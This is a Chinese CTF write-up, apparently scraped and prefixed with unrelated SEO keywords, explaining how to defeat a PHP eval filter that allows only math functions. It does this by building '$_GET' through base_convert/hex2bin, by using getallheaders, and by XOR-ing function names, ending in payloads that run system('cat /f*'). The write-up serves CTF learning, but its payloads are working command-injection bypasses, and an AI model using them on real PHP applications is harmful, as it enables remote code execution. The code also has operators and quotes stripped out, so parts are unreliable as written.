如何让自己网站排名提高,手机在线做ppt的网站,专业的外贸网站,oa做软件还是网站目录
hex2bin bin2hex
base_convert
动态函数
第一种解法 通过get获取参数
绕过
第二种解法 读取请求头
getallheaders
echo a,b
第三种解法 异或获得更多字符 这道题也是很有意思#xff01;
通过规定白名单和黑名单 指定了 函数为数学函数 并且参数也只能是规…目录
hex2bin bin2hex
base_convert
动态函数
第一种解法 通过get获取参数
绕过
第二种解法 读取请求头
getallheaders
echo a,b
第三种解法 异或获得更多字符 这道题也是很有意思
通过规定白名单和黑名单 指定了 函数为数学函数 并且参数也只能是规定在白名单中的参数
我们首先要了解 通过进制转换执行命令的第一时间就是想到 hex2bin/bin2hex
hex2bin bin2hex
这个函数可以将十六进制转换为ASCII码 从而实现数字到字符 所以我们可以通过这里的
接着我们需要了解 base_convert()函数
base_convert
这函数是可以将任意进制进行互相转换
我们这里给出例子 这里的hex2bin是36进制 所以这里可以将十进制转换为字符形式
动态函数 第一种解法 通过get获取参数
我们无法实现system(cat /flag) 因为36进制不接受特殊的符号 例如空格 所以我们无法直接获取到指令
但是我们换位思考一下
$a($b)$asystem$bcat /f*最后是不是就是 system(cat /f*)
现在问题在于我们如何接收到参数
这里主要就是通过GET POST方式
_GET[1](_GET[2])1system2cat /f*是不是就等于 system(cat /f*)
现在问题转换为如何传递字符了
因为_GET[]都不在白名单中 甚至[]还在黑名单中
这里就涉及绕过了
绕过
首先[] 可以通过 {}绕过 很简单
其次_GET 我们可以通过数学编码
我们上面了解的hex2bin 就是可以将十六进制转变为ASCII
这样我们就可以构造_GET了
首先通过 bin2hex转变 得到16进制
但是这里面存在字符 发现正则过滤了字母 所以我们要将他换为全数字 就是十进制 然后通过dechex转换 最后就是hex2bin的了 我们只需要将其的10进制转换为36进制即可 c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})pisystemabscat /* 我给大家简化一下
c$pihex2bin(5f474554) 这里相当于 c$pi_GET($$pi){pi} 这里相当于 $_GET{pi}
(($$pi){abs}) 这里相当于 ($_GET{abs})组合起来 $_GET{pi}($_GET{abs})pisystem abscat /f*就可以是 system(cat /f*)
第二种解法 读取请求头
首先 我们构造 get很绕很麻烦 我们能不能直接执行命令
既然我们无法读取get的内容 那么我们直接接受请求头呢
这里就存在一个函数
getallheaders
getallheaders 可以接受请求头 我们直接使用 exec(getallheaders) 来执行这个命令
这里还需要了了解一个知识点
echo a,b
echo a,bab都会输出 所以我们可以直接通过 exec a,b来执行
通过36进制换算
c$pibase_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
然后通过1:cat /f*访问即可
这里getallheaders需要30进制 第三种解法 异或获得更多字符
我们能不能直接获取flag呢
我们通过异或来获取更多的字符串
我们来编写php代码
?php
$pl[abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];
for($k1;$ksizeof($pl);$k){for($i0;$i 9;$i){for($j1;$j 9; $j){$exp$pl[$k]^$i.$j;echo($pl[$k].^.$i.$j..$exp);echo ;}}
}
?获取_GET了
直接和第一个一样即可
?c$pi(mt_srand^(2).(3)).(tanh^(1).(5));$$pi{1}($$pi{0})1system0cat /f*